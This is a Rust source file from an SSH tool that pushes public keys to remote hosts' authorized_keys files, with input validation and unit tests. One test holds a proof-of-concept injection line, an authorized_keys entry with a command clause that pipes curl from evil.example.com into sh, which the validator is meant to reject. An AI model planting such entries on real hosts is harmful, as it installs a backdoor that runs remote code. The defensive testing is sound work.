Skip to main content

purple_ssh/
key_push.rs

1//! Push a public key onto a remote host's `~/.ssh/authorized_keys`.
2//!
3//! Equivalent of `ssh-copy-id` without the dependency: spawns a single
4//! ssh invocation per host, pipes the public key over stdin, and runs an
5//! idempotent shell snippet on the remote that creates `~/.ssh` if
6//! missing and appends the key only when it is not already present.
7//!
8//! The remote snippet never sees the pubkey via the shell command line
9//! (which would require fragile escaping). Stdin is the canonical channel
10//! for binary-ish content over SSH.
11
12use std::io::Write;
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::Arc;
16use std::sync::atomic::{AtomicBool, Ordering};
17
18use log::debug;
19
20/// Outcome for one host in a push run. The renderer summarises these
21/// into a toast (when every entry is `Appended` / `AlreadyPresent`) or a
22/// sticky error block (when at least one is `Failed`).
23#[derive(Debug, Clone, PartialEq, Eq)]
24pub enum KeyPushOutcome {
25    /// Pubkey was newly appended to the remote `authorized_keys`.
26    Appended,
27    /// Pubkey was already present in `authorized_keys`; nothing changed.
28    AlreadyPresent,
29    /// Push failed. Carries a scrubbed stderr excerpt (control chars
30    /// stripped, length-capped) so the user sees what went wrong without
31    /// leaking the full ssh-vvv firehose into the UI.
32    Failed(String),
33}
34
35/// One row in the in-flight push result list. Populated as worker
36/// threads complete and surfaced to the UI via `AppEvent::KeyPushResult`.
37#[derive(Debug, Clone, PartialEq, Eq)]
38pub struct KeyPushResult {
39    pub alias: String,
40    pub outcome: KeyPushOutcome,
41}
42
43/// Maximum stderr length retained in `KeyPushOutcome::Failed`. Longer
44/// `ssh -v` output is truncated with an ellipsis so a single failure
45/// cannot blow out the sticky error overlay.
46const STDERR_BUDGET: usize = 200;
47
48/// Marker prefix written by the remote snippet on the final line of
49/// stdout. The prefix is unique enough that no realistic `.profile` or
50/// motd will collide. `classify_stdout` matches against this prefix so a
51/// shared-account host whose login banner echoes the word "APPENDED"
52/// cannot trick us into reporting success.
53const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
54const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
55const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
56
57/// Remote shell snippet that idempotently appends the pubkey to
58/// `~/.ssh/authorized_keys`. The pubkey arrives on stdin via `$(cat)` so
59/// no shell quoting of the key content is needed locally.
60///
61/// Permission policy: `~/.ssh` is chmod 700 only when we just created
62/// it (so a deliberately group-readable directory managed by Ansible or
63/// similar is left alone), and `authorized_keys` is chmod 600 only when
64/// the file is fresh. Both invariants are enforced via short-circuit:
65/// the absence test runs before the create, and the chmod runs only on
66/// the create branch. sshd's StrictModes requires the dir to be 700, so
67/// a wide-open dir we created is tightened immediately.
68///
69/// CRLF defence: $PUBKEY is normalised with `tr -d '\r'` before both the
70/// dedup match and the append, so a CRLF-terminated source file cannot
71/// produce a fresh duplicate per push. The file side already strips CR
72/// before matching so authorized_keys files edited with Windows tooling
73/// dedup correctly too.
74///
75/// The append uses `|| { ... exit 1; }` so a failed write (ENOSPC,
76/// read-only mount) emits APPEND_FAILED instead of silently claiming
77/// success on the redirect's exit code.
78///
79/// Output contract (always the last non-empty line of stdout):
80/// - `__PURPLE_KEY_PUSH:APPENDED__`        - key was newly written
81/// - `__PURPLE_KEY_PUSH:ALREADY_PRESENT__` - key was already in file
82/// - `__PURPLE_KEY_PUSH:APPEND_FAILED__`   - append redirect failed
83/// - anything else                          - classified as Failed
84const REMOTE_SNIPPET: &str = r#"umask 077
85if [ ! -d ~/.ssh ]; then
86  mkdir -p ~/.ssh
87  chmod 700 ~/.ssh
88fi
89if [ ! -f ~/.ssh/authorized_keys ]; then
90  touch ~/.ssh/authorized_keys
91  chmod 600 ~/.ssh/authorized_keys
92fi
93PUBKEY=$(cat | tr -d '\r')
94if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
95  echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
96  exit 0
97fi
98printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
99echo __PURPLE_KEY_PUSH:APPENDED__
100"#;
101
102/// Parse the remote snippet's stdout into an outcome. Pure helper so the
103/// worker and tests share the same classification. Match is against the
104/// last non-empty line (stripped of trailing CR) so motd or login-banner
105/// output before the marker is tolerated.
106pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
107    let trimmed = stdout.trim();
108    let last = trimmed
109        .lines()
110        .map(|l| l.trim_end_matches('\r').trim())
111        .rfind(|l| !l.is_empty())?;
112    match last {
113        MARKER_APPENDED => Some(KeyPushOutcome::Appended),
114        MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
115        MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
116            "remote append failed (disk full, read-only mount?)".to_string(),
117        )),
118        _ => None,
119    }
120}
121
122/// Scrub stderr for display in the UI. Drops ANSI escapes, control bytes,
123/// then caps at `STDERR_BUDGET` chars with an ellipsis. Joins multiple
124/// lines with a single space so the error sticky overlay can render the
125/// scrubbed text on one row.
126fn scrub_stderr(raw: &str) -> String {
127    let cleaned: String = raw
128        .chars()
129        .filter(|c| !c.is_control() || *c == '\n')
130        .collect();
131    let joined = cleaned
132        .lines()
133        .map(str::trim)
134        .filter(|l| !l.is_empty())
135        .collect::<Vec<_>>()
136        .join(" ");
137    if joined.chars().count() > STDERR_BUDGET {
138        joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
139    } else {
140        joined
141    }
142}
143
144/// Push `pubkey` to the remote `alias` over SSH. Synchronous: spawns
145/// `ssh -F <config_path> -T -o ConnectTimeout=10 -- <alias> <REMOTE_SNIPPET>`,
146/// pipes `pubkey` to stdin, waits for the child to finish, and returns
147/// the parsed outcome. The cancel flag is observed before the spawn so a
148/// rapid Esc after launching the batch can short-circuit pending hosts.
149pub fn push_to_host(
150    pubkey: &str,
151    alias: &str,
152    config_path: &Path,
153    cancel: &Arc<AtomicBool>,
154) -> KeyPushOutcome {
155    if cancel.load(Ordering::Relaxed) {
156        return KeyPushOutcome::Failed("cancelled".to_string());
157    }
158
159    let mut cmd = Command::new("ssh");
160    cmd.arg("-F")
161        .arg(config_path)
162        .arg("-T")
163        .arg("-o")
164        .arg("ConnectTimeout=10")
165        // ServerAliveInterval/CountMax bound the post-auth phase:
166        // ConnectTimeout only covers the TCP/handshake. Without these,
167        // a remote NFS-stalled `~/.ssh/authorized_keys` or a hung shell
168        // could block `wait_with_output` indefinitely. 10s × 3 = 30s
169        // worst case after auth before SSH tears down the session.
170        .arg("-o")
171        .arg("ServerAliveInterval=10")
172        .arg("-o")
173        .arg("ServerAliveCountMax=3")
174        .arg("-o")
175        .arg("ControlMaster=no")
176        .arg("-o")
177        .arg("ControlPath=none")
178        .arg("--")
179        .arg(alias)
180        .arg(REMOTE_SNIPPET)
181        .stdin(Stdio::piped())
182        .stdout(Stdio::piped())
183        .stderr(Stdio::piped());
184
185    let mut child = match cmd.spawn() {
186        Ok(c) => c,
187        Err(e) => {
188            debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
189            return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
190        }
191    };
192
193    // Pipe the pubkey with a trailing newline so `printf '%s\n' "$PUBKEY"`
194    // on the remote produces an exact `authorized_keys` line.
195    if let Some(stdin) = child.stdin.as_mut() {
196        let payload = if pubkey.ends_with('\n') {
197            pubkey.to_string()
198        } else {
199            format!("{}\n", pubkey)
200        };
201        if let Err(e) = stdin.write_all(payload.as_bytes()) {
202            debug!(
203                "[purple] key_push: stdin write failed alias={} err={}",
204                alias, e
205            );
206            let _ = child.kill();
207            let _ = child.wait();
208            return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
209        }
210    }
211    // Drop stdin so the remote `cat` receives EOF.
212    drop(child.stdin.take());
213
214    let output = match child.wait_with_output() {
215        Ok(o) => o,
216        Err(e) => {
217            debug!("[purple] key_push: wait failed alias={} err={}", alias, e);
218            return KeyPushOutcome::Failed(format!("wait ssh: {}", e));
219        }
220    };
221
222    let stdout = String::from_utf8_lossy(&output.stdout);
223    let stderr = String::from_utf8_lossy(&output.stderr);
224
225    if !output.status.success() {
226        let scrubbed = scrub_stderr(&stderr);
227        let msg = if scrubbed.is_empty() {
228            format!("ssh exited {}", output.status)
229        } else {
230            scrubbed
231        };
232        debug!(
233            "[purple] key_push: failed alias={} status={} stderr={}",
234            alias, output.status, msg
235        );
236        return KeyPushOutcome::Failed(msg);
237    }
238
239    match classify_stdout(&stdout) {
240        Some(outcome) => {
241            debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
242            outcome
243        }
244        None => {
245            let preview = scrub_stderr(&stdout);
246            KeyPushOutcome::Failed(format!(
247                "unexpected snippet output: {}",
248                if preview.is_empty() {
249                    "(empty)"
250                } else {
251                    &preview
252                }
253            ))
254        }
255    }
256}
257
258/// Maximum size of a `.pub` file we will accept. OpenSSH's RSA-8192 keys
259/// serialise to ~3 KiB; we cap at 16 KiB to leave headroom for comments
260/// and reject pathological inputs (symlinks to logs, /dev/urandom).
261pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
262
263/// Public-key type tokens we will push. Limited to the OpenSSH algorithms
264/// that produce valid `authorized_keys` entries. Cert tokens (e.g.
265/// `ssh-ed25519-cert-v01@openssh.com`) are intentionally excluded: pushing
266/// a certificate as a static key bypasses its TTL.
267const ALLOWED_KEY_TYPES: &[&str] = &[
268    "ssh-rsa",
269    "ssh-ed25519",
270    "ssh-dss",
271    "ecdsa-sha2-nistp256",
272    "ecdsa-sha2-nistp384",
273    "ecdsa-sha2-nistp521",
274    "sk-ssh-ed25519@openssh.com",
275    "sk-ecdsa-sha2-nistp256@openssh.com",
276];
277
278/// Validation outcome for a public-key file's contents.
279#[derive(Debug, Clone, PartialEq, Eq)]
280pub enum PubkeyValidationError {
281    Empty,
282    MultiLine,
283    UnsupportedType(String),
284    MalformedBase64,
285    TooLarge(u64),
286    NotARegularFile,
287}
288
289/// Parse and validate a `.pub` file's contents into a single canonical
290/// `authorized_keys` line. Rejects multi-line input (which would silently
291/// install several keys, including embedded `command=` clauses), unknown
292/// algorithms, and unparseable base64 bodies. The returned string is
293/// trimmed of trailing whitespace / CR so the remote `grep -qxF` dedup
294/// step matches byte-for-byte across pushes.
295pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
296    let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
297    if trimmed.is_empty() {
298        return Err(PubkeyValidationError::Empty);
299    }
300    if trimmed.lines().count() != 1 {
301        return Err(PubkeyValidationError::MultiLine);
302    }
303    let mut parts = trimmed.splitn(3, ' ');
304    let typ = parts.next().unwrap_or("");
305    let blob = parts.next().unwrap_or("");
306    if !ALLOWED_KEY_TYPES.contains(&typ) {
307        return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
308    }
309    if blob.is_empty() {
310        return Err(PubkeyValidationError::MalformedBase64);
311    }
312    use base64::Engine;
313    if base64::engine::general_purpose::STANDARD
314        .decode(blob.as_bytes())
315        .is_err()
316    {
317        return Err(PubkeyValidationError::MalformedBase64);
318    }
319    Ok(trimmed.to_string())
320}
321
322/// Read a `.pub` file with a hard byte cap and reject anything that is
323/// not a regular file. On Unix the open uses `O_NOFOLLOW` so a symlink at
324/// the .pub path errors out instead of silently dereferencing into a log
325/// file or `/dev/urandom`.
326pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
327    use std::io::Read;
328    let mut opts = std::fs::OpenOptions::new();
329    opts.read(true);
330    #[cfg(unix)]
331    {
332        use std::os::unix::fs::OpenOptionsExt;
333        opts.custom_flags(libc::O_NOFOLLOW);
334    }
335    let f = opts
336        .open(path)
337        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
338    let meta = f
339        .metadata()
340        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
341    if !meta.file_type().is_file() {
342        return Err(PubkeyValidationError::NotARegularFile);
343    }
344    if meta.len() > PUBKEY_MAX_BYTES {
345        return Err(PubkeyValidationError::TooLarge(meta.len()));
346    }
347    let mut buf = String::new();
348    f.take(PUBKEY_MAX_BYTES)
349        .read_to_string(&mut buf)
350        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
351    Ok(buf)
352}
353
354/// Resolve the local public-key path for a key whose `display_path` is
355/// `~/.ssh/id_ed25519`. Expands the tilde and appends `.pub`. The caller
356/// is expected to validate the file exists before reading.
357pub fn pubkey_path_for(display_path: &str) -> PathBuf {
358    let with_pub = format!("{}.pub", display_path);
359    if let Some(rest) = with_pub.strip_prefix("~/") {
360        if let Some(home) = dirs::home_dir() {
361            return home.join(rest);
362        }
363    }
364    PathBuf::from(with_pub)
365}
366
367#[cfg(test)]
368mod tests {
369    use super::*;
370
371    #[test]
372    fn classify_stdout_appended() {
373        assert_eq!(
374            classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
375            Some(KeyPushOutcome::Appended)
376        );
377    }
378
379    #[test]
380    fn classify_stdout_already_present() {
381        assert_eq!(
382            classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
383            Some(KeyPushOutcome::AlreadyPresent)
384        );
385    }
386
387    #[test]
388    fn classify_stdout_append_failed() {
389        match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
390            Some(KeyPushOutcome::Failed(_)) => {}
391            other => panic!("expected Failed, got {:?}", other),
392        }
393    }
394
395    #[test]
396    fn classify_stdout_motd_then_marker() {
397        // SSH-of-the-day banners or `.profile` output may print before
398        // our marker. Last non-empty line still wins.
399        let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
400        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
401    }
402
403    #[test]
404    fn classify_stdout_motd_word_collision_does_not_match() {
405        // Adversarial: a banner that contains the bare word "APPENDED"
406        // must NOT be classified as success. The namespaced marker
407        // prevents collision.
408        let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
409        assert_eq!(classify_stdout(stdout), None);
410    }
411
412    #[test]
413    fn classify_stdout_crlf_line_endings() {
414        // Some shells emit CRLF over SSH ptys. The classifier strips the
415        // trailing CR so the marker still matches.
416        let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
417        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
418    }
419
420    #[test]
421    fn classify_stdout_unknown_returns_none() {
422        assert_eq!(classify_stdout("hello\nworld\n"), None);
423    }
424
425    #[test]
426    fn classify_stdout_empty_returns_none() {
427        assert_eq!(classify_stdout(""), None);
428        assert_eq!(classify_stdout("\n\n"), None);
429    }
430
431    #[test]
432    fn scrub_stderr_drops_control_bytes() {
433        // ANSI-stripped: ESC[31mError\x1b[0m
434        let raw = "\x1b[31mError: connection refused\x1b[0m\n";
435        let scrubbed = scrub_stderr(raw);
436        assert!(!scrubbed.contains('\x1b'));
437        assert!(scrubbed.contains("Error"));
438    }
439
440    #[test]
441    fn scrub_stderr_joins_lines() {
442        let raw = "line1\nline2\nline3\n";
443        assert_eq!(scrub_stderr(raw), "line1 line2 line3");
444    }
445
446    #[test]
447    fn scrub_stderr_truncates_long_input() {
448        let raw = "x".repeat(STDERR_BUDGET * 2);
449        let scrubbed = scrub_stderr(&raw);
450        assert!(scrubbed.ends_with("..."));
451        assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
452    }
453
454    #[test]
455    fn scrub_stderr_empty_input() {
456        assert_eq!(scrub_stderr(""), "");
457        assert_eq!(scrub_stderr("   \n\n  \n"), "");
458    }
459
460    #[test]
461    fn pubkey_path_appends_pub_suffix() {
462        let p = pubkey_path_for("/tmp/id_ed25519");
463        assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
464    }
465
466    #[test]
467    fn pubkey_path_expands_tilde() {
468        let p = pubkey_path_for("~/.ssh/id_ed25519");
469        assert!(!p.to_string_lossy().starts_with('~'));
470        assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
471    }
472
473    #[test]
474    fn push_to_host_short_circuits_when_cancel_is_set() {
475        // Cancel before spawn must return Failed("cancelled") without
476        // touching ssh. We point at a path that does not exist on disk
477        // so a buggy implementation that DID try to spawn would fail
478        // loudly instead of silently succeeding.
479        let cancel = Arc::new(AtomicBool::new(true));
480        let outcome = push_to_host(
481            "ssh-ed25519 AAAA test@host",
482            "this-alias-does-not-exist",
483            std::path::Path::new("/tmp/purple-nonexistent-config"),
484            &cancel,
485        );
486        match outcome {
487            KeyPushOutcome::Failed(msg) => {
488                assert!(
489                    msg.contains("cancel"),
490                    "expected cancel message, got: {}",
491                    msg
492                );
493            }
494            other => panic!("expected Failed(cancelled), got {:?}", other),
495        }
496    }
497
498    #[test]
499    fn validate_pubkey_accepts_ed25519() {
500        let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
501        assert_eq!(validate_pubkey(line).unwrap(), line);
502    }
503
504    #[test]
505    fn validate_pubkey_strips_trailing_whitespace() {
506        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
507        let cleaned = validate_pubkey(raw).unwrap();
508        assert!(!cleaned.ends_with('\n'));
509        assert!(!cleaned.ends_with('\r'));
510    }
511
512    #[test]
513    fn validate_pubkey_rejects_empty() {
514        assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
515        assert_eq!(
516            validate_pubkey("   \n\n"),
517            Err(PubkeyValidationError::Empty)
518        );
519    }
520
521    #[test]
522    fn validate_pubkey_rejects_multi_line_command_injection() {
523        // The exact PoC from the security audit: two valid lines, the
524        // second wears a `command=` clause. Multi-line is the canonical
525        // shape that grep-qxF can never dedup, so we reject upstream.
526        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
527        assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
528    }
529
530    #[test]
531    fn validate_pubkey_rejects_unknown_type() {
532        let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
533        match validate_pubkey(raw) {
534            Err(PubkeyValidationError::UnsupportedType(t)) => {
535                assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
536            }
537            other => panic!("expected UnsupportedType, got {:?}", other),
538        }
539    }
540
541    #[test]
542    fn validate_pubkey_rejects_bogus_base64() {
543        let raw = "ssh-ed25519 not!valid!base64!?? comment";
544        assert_eq!(
545            validate_pubkey(raw),
546            Err(PubkeyValidationError::MalformedBase64)
547        );
548    }
549
550    #[test]
551    fn validate_pubkey_rejects_empty_blob() {
552        let raw = "ssh-ed25519  comment";
553        assert_eq!(
554            validate_pubkey(raw),
555            Err(PubkeyValidationError::MalformedBase64)
556        );
557    }
558
559    #[test]
560    fn read_pubkey_file_rejects_oversize() {
561        let dir = tempfile::tempdir().expect("tempdir");
562        let path = dir.path().join("huge.pub");
563        let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
564        std::fs::write(&path, body).unwrap();
565        match read_pubkey_file(&path) {
566            Err(PubkeyValidationError::TooLarge(n)) => {
567                assert!(n > PUBKEY_MAX_BYTES);
568            }
569            other => panic!("expected TooLarge, got {:?}", other),
570        }
571    }
572
573    #[cfg(unix)]
574    #[test]
575    fn read_pubkey_file_rejects_symlink() {
576        let dir = tempfile::tempdir().expect("tempdir");
577        let target = dir.path().join("real.pub");
578        std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
579        let link = dir.path().join("link.pub");
580        std::os::unix::fs::symlink(&target, &link).unwrap();
581        assert!(matches!(
582            read_pubkey_file(&link),
583            Err(PubkeyValidationError::NotARegularFile)
584        ));
585    }
586
587    #[test]
588    fn remote_snippet_has_expected_markers() {
589        // Regression guard: the worker parses these three markers; if the
590        // snippet ever changes its echoes the parser would silently break.
591        assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
592        assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
593        assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
594        assert!(REMOTE_SNIPPET.contains("grep -qxF"));
595        // CRLF guard is in the snippet too; if a future edit drops the
596        // tr step, CRLF-terminated authorized_keys files would double-append.
597        assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
598    }
599}